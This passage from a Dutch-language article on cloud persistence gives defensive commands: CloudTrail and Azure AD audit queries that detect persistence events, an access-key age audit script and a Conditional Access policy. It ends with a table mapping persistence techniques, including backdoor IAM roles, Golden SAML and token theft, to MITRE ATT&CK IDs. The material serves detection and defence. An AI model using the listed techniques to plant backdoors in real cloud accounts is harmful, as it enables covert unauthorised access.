    ($.eventName = "CreateSAMLProvider")
  }'

# Lambda en EventBridge events
aws logs filter-log-events \
  --log-group-name CloudTrail/management-events \
  --filter-pattern '{
    ($.eventName = "CreateFunction*") ||
    ($.eventName = "UpdateFunctionCode*") ||
    ($.eventName = "PutRule") ||
    ($.eventName = "PutTargets") ||
    ($.eventName = "AddPermission")
  }'

# Compute persistence events
aws logs filter-log-events \
  --log-group-name CloudTrail/management-events \
  --filter-pattern '{
    ($.eventName = "ModifyInstanceAttribute") ||
    ($.eventName = "CreateLaunchTemplateVersion") ||
    ($.eventName = "PutBucketNotificationConfiguration")
  }'

Azure AD Audit Logs

# Monitor app registrations en consent grants
az rest --method GET \
  --url "https://graph.microsoft.com/v1.0/auditLogs/directoryAudits?\$filter=activityDisplayName eq 'Add application' or activityDisplayName eq 'Consent to application' or activityDisplayName eq 'Add service principal credentials'&\$top=50" \
  | jq '.value[] | {activity: .activityDisplayName, time: .activityDateTime, actor: .initiatedBy.user.userPrincipalName}'

# Monitor role assignments
az rest --method GET \
  --url "https://graph.microsoft.com/v1.0/auditLogs/directoryAudits?\$filter=activityDisplayName eq 'Add member to role'&\$top=50" \
  | jq '.value[] | {time: .activityDateTime, actor: .initiatedBy.user.userPrincipalName, target: .targetResources[0].displayName}'

Access Key Rotation

# Forceer access key rotation met een maximum leeftijd
# Script: vind en rapporteer oude access keys
aws iam generate-credential-report
aws iam get-credential-report --query Content --output text | base64 -d | \
  awk -F',' 'NR>1 {
    if ($9 == "true" && $10 != "N/A") {
      split($10, a, "T");
      print "User: "$1, "Key 1 last rotated:", a[1]
    }
    if ($14 == "true" && $15 != "N/A") {
      split($15, a, "T");
      print "User: "$1, "Key 2 last rotated:", a[1]
    }
  }'

# Deactiveer keys ouder dan 90 dagen
for user in $(aws iam list-users --query 'Users[].UserName' --output text); do
  for key in $(aws iam list-access-keys --user-name "$user" --query 'AccessKeyMetadata[?Status==`Active`].AccessKeyId' --output text); do
    created=$(aws iam list-access-keys --user-name "$user" --query "AccessKeyMetadata[?AccessKeyId=='$key'].CreateDate" --output text)
    age=$(( ($(date +%s) - $(date -d "$created" +%s)) / 86400 ))
    if [ "$age" -gt 90 ]; then
      echo "ALERT: $user has key $key that is $age days old"
      # aws iam update-access-key --user-name "$user" --access-key-id "$key" --status Inactive
    fi
  done
done

Conditional Access

# Azure: Conditional Access policy die service principal access beperkt
az rest --method POST \
  --url "https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies" \
  --body '{
    "displayName": "Restrict service principal locations",
    "state": "enabled",
    "conditions": {
      "clientApplications": {
        "includeServicePrincipals": ["All"]
      },
      "locations": {
        "includeLocations": ["All"],
        "excludeLocations": ["KNOWN_IP_RANGES"]
      }
    },
    "grantControls": {
      "operator": "OR",
      "builtInControls": ["block"]
    }
  }'

Referentietabel

Techniek MITRE ATT&CK AWS Azure GCP
Extra access keys T1098.001 - Additional Cloud Credentials iam:CreateAccessKey App credential addition Service account key creation
Backdoor IAM user/role T1136.003 - Cloud Account iam:CreateUser, iam:CreateRole az ad user create gcloud iam service-accounts create
Trust policy manipulation T1484.002 - Trust Modification iam:UpdateAssumeRolePolicy External identity providers Workload Identity pool trust
OAuth app registration T1098.003 - Additional Cloud Roles SAML/OIDC provider App Registration + consent OAuth2 client credentials
Compute startup scripts T1059 - Command and Scripting EC2 User Data VM Extensions GCE startup-script
Launch template poisoning T1525 - Implant Internal Image ec2:CreateLaunchTemplateVersion VMSS model update Instance template modification
Scheduled Lambda trigger T1053.007 - Container Orchestration Job EventBridge + Lambda Automation Runbooks Cloud Scheduler + Functions
Storage event trigger T1546 - Event Triggered Execution S3 notifications + Lambda Blob trigger + Function GCS notification + Function
DNS record manipulation T1584.002 - DNS Server Route53 record sets Azure DNS records Cloud DNS records
Subdomain takeover T1584.001 - Domains Dangling S3/EB CNAMEs Dangling Azure CNAMEs Dangling GCP CNAMEs
Golden SAML T1606.002 - SAML Tokens SAML IdP certificate theft ADFS signing cert theft SAML IdP compromise
Refresh token persistence T1550.001 - Application Access Token Cognito refresh tokens Azure AD refresh tokens Google OAuth refresh tokens
Lifecycle policy abuse T1053.007 - Container Orchestration Job S3 Lifecycle + notifications Blob lifecycle + triggers GCS lifecycle + notifications
Cross-account role backdoor T1098.003 - Additional Cloud Roles Cross-account trust policy Lighthouse delegation Cross-project SA impersonation
Automation runbook T1053.005 - Scheduled Task Lambda + EventBridge Automation Account + Runbook Cloud Scheduler job
Primary Refresh Token theft T1528 - Steal Application Access Token N/A PRT extraction (Mimikatz) N/A

De beste persistentie is de persistentie die er uitziet als een feature. En in de cloud is het verschil tussen een feature en een backdoor vaak niet meer dan de intentie van degene die het heeft geconfigureerd.